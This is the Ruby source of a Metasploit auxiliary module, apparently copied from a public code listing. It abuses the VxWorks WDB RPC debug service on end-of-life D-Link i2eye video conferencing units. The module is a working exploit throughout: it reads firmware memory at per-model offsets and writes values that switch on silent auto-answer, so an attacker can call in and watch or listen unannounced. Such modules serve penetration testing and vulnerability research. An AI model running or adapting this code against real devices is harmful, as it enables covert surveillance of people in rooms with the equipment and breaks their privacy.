Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::WDBRPC_Client
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'D-Link i2eye Video Conference AutoAnswer (WDBRPC)',
12
      'Description'    => %q{
13
        This module can be used to enable auto-answer mode for the D-Link
14
      i2eye video conferencing system. Once this setting has been flipped,
15
      the device will accept incoming video calls without acknowledgement.
16
      The NetMeeting software included in Windows XP can be used to connect
17
      to this device. The i2eye product is no longer supported by the vendor
18
      and all models have reached their end of life (EOL).
19
      },
20
      'Author'         => [ 'hdm'],
21
      'License'        => MSF_LICENSE,
22
      'References'     =>
23
        [
24
          ['OSVDB', '66842'],
25
          ['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
26
          ['US-CERT-VU', '362332']
27
        ]
28
      ))
29
  end
30

31
  def run
32
    target  = nil
33
    targets = {
34
      # Original firmware for the North America DVC1000
35
      "Sorenson VP100 - ARM9TDMI"   => [[0x00229a05, 0x00000000, 0x00000001]],
36

37
      # Final firmware for the North America DVC1000
38
      # Also covers a mislabeled "Sorenson VP100" (revision A3)
39
      "i-2-eye DVC1000 - ARM9TDMI"  => [
40
        [0x0040cd68, 0x00000000, 0x01000000],
41
        [0x0040af38, 0x00000000, 0x01000000],
42
        [0x0040cd00, 0x00000000, 0x01000000]
43
      ],
44
    }
45

46

47
    wdbrpc_client_connect
48

49
    if not @wdbrpc_info[:rt_vers]
50
      print_error("No response to connection request")
51
      return
52
    end
53

54
    membase = @wdbrpc_info[:rt_membase]
55

56
    target = targets[@wdbrpc_info[:rt_bsp_name]]
57
    if not target
58
      print_error("No target available for BSP #{@wdbrpc_info[:rt_bsp_name]}")
59
      wdbrpc_client_disconnect
60
      return
61
    end
62

63
    target.each do |r|
64
      offset, oldval, newval = r
65

66
      curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]
67
      if curr != oldval and curr != newval
68
        print_error("The value at offset #{"0x%.8x" % offset} does not match this target (#{"0x%.8x" % curr}), skipping...")
69
        next
70
      end
71

72
      if curr == newval
73
        print_good("The value at offset #{"0x%.8x" % offset} has already been set")
74
      else
75
        wdbrpc_client_memwrite(membase + offset, [newval].pack("N"))
76
        curr = wdbrpc_client_memread(membase + offset, 4).unpack("N")[0]
77
        print_good("The value at offset #{"0x%.8x" % offset} has been set to #{"0x%.8x" % curr}")
78
      end
79

80
      print_status("The target device should now automatically accept incoming calls")
81
    end
82

83
    wdbrpc_client_disconnect
84
  end
85
end
86

87